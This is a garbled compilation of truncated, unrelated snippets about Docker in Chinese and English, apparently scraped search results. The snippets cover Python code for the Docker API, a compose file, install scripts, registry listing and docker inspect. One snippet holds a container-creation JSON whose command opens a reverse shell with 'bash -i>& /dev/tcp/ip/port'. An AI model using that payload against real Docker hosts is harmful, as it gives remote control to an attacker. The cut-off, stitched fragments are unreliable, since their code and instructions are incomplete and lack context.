以下是使用Python代码通过Docker API来查看Docker镜像的最新版本号的示例: importrequestsdefget_latest_version(image_name):response=requests.get('http://localhost/images/json')images=response.json()forimageinimages:ifimage['RepoTags'][0].split(':')[0]==image_name:returnimage['RepoTags'][0].split...
DockerImage <|-- NginxImage DockerImage : +getRegistryAddress() DockerImage : +getLatestVersion() DockerRegistryAPI : +queryTagsList() CommandLineTool : +inspect() 结论 通过上述方案,我们可以方便地查询Docker镜像latest标签对应的版本信息。这个方案可以应用于各种Docker镜像,提供了一种便捷的方式来获取最...
Let’s take a simple example of a docker-compose file: version: '2.4' services: db: image: postgres my_app: image: "eugen/test-app:latest" ports: - "8080:8080" Here, we’ve used two services – one is the PostgreSQL database and another is a test application. We use the following...
get.docker.com To install the latest version of Docker on Linux from the test channel, run: $curl -fsSL https://test.docker.com -o test-docker.sh$sudo sh test-docker.sh Upgrade Docker after using the convenience script If you installed Docker using the convenience script, you should upgra...
Get a debug shell into any container or image with the new docker debug command (Beta). Organization admins, with a Docker Business subscription, can now configure a custom list of extensions with Private Extensions Marketplace enabled (Beta) ...
How to get a list of images on docker registry v2 For the latest (as of 2015-07-31) version of Registry V2, you can get this image from DockerHub: docker pull distribution/registry:master List all repositories (effectively images): curl -X GET https://myregistry:5000/v2/_catalog > ...
REPOSITORY TAG IMAGE ID CREATED SIZE tmp-ubuntu latest f89469694960 14 minutes ago 1.69GB tmp-ubuntu version-1.0 f89469694960 14 minutes ago 1.69GB ubuntu 18.04 a2a15febcdf3 5 weeks ago 64.2MB 請注意,映像會以其「名稱」、「標籤」和「映像識別碼」來列出。 您應該記得,我們可以將多個標籤套用到一...
"Image": "ubuntu:latest", #使用的基础镜像 "Cmd": ["/bin/bash", "-c", "bash -i>& /dev/tcp/ip/port 0>&1;while true;do echo hello world;sleep 1;done"], #创建启动命令 "Labels": { "com.example.vendor": "Acme", "com.example.license": "GPL", ...
Get started Containerize your first app Develop a solid understanding of the Docker basics with our step-by-step developer guide. Learn Docker Publish your image on Docker Hub Share your application with the world (or other developers on your team). ...
使用docker [image] inspect命令可以查看镜像的详细信息,包括制作者、适应架构、版本等、显示出来的信息,默认是以JSON格式展示的。例如,查看 ubuntu:latest 的信息: [root@localhost ~]# docker inspect ubuntu:latest 这里只截取部分信息的图片,在不加其他参数的情况下,展示的信息类似上图所示,但如果你只想显示你想...